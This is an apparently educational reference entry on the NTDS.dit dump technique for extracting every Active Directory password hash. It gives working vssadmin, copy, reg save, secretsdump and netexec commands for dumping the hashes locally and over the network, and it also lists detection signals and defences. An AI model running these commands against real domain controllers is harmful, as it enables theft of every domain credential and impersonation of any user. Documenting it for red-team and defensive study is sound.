NTDS.dit Dump

An NTDS.dit dump extracts the Active Directory database, NTDS.dit, which holds the NT hashes of every account in the domain. It is the jackpot of a domain compromise: with those hashes you can impersonate any user, including the administrator and krbtgt.

Why it works. The Domain Controller stores the whole directory in C:\Windows\NTDS\NTDS.dit, with hashes encrypted by a key held in the SYSTEM hive. The file is locked while AD runs, but a Volume Shadow Copy (VSS) lets you copy it without a lock; with NTDS.dit and SYSTEM everything is decrypted offline. Unlike DCSync, which pulls the hashes over replication without touching the disk, here you physically copy the database.

The abuse. On the DC you create the snapshot, copy the two files and process them; over the network, with domain admin credentials, netexec --ntds or secretsdump -just-dc run the whole flow.

# on the DC: volume snapshot and copy of NTDS.dit + SYSTEM
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ntds.dit
reg.exe save hklm\system system.save

# offline: decrypt every hash in the domain
secretsdump.py -ntds ntds.dit -system system.save LOCAL

# over the network, with a domain admin
netexec smb <dc> -u <user> -p <pass> --ntds
secretsdump.py <domain>/<user>@<dc> -just-dc

Requirements. You need administrative access to the DC (Domain Admin, or privileges that allow creating the snapshot and reading the files). With the whole database you also get the krbtgt hash, the key for a Golden Ticket.

How to detect it. High-fidelity signals are volume snapshot creation (vssadmin/wmic shadowcopy, Event ID 8222 or VSS logs) on a DC, access to NTDS.dit outside a legitimate backup process, and export of the SYSTEM hive with reg save. A network dump also shows up as a connection to the DC's ADMIN$ and remote service or task creation.

Defence. Keep to a minimum who is Domain Admin and can log on to DCs, monitor snapshot creation and access to NTDS.dit, and isolate DCs in a dedicated Tier 0. After a confirmed dump you must rotate domain credentials, including krbtgt twice. It is the "on-disk" version of DCSync and a sibling of the local SAM/LSA dump; its output feeds Pass-the-Hash and hash cracking.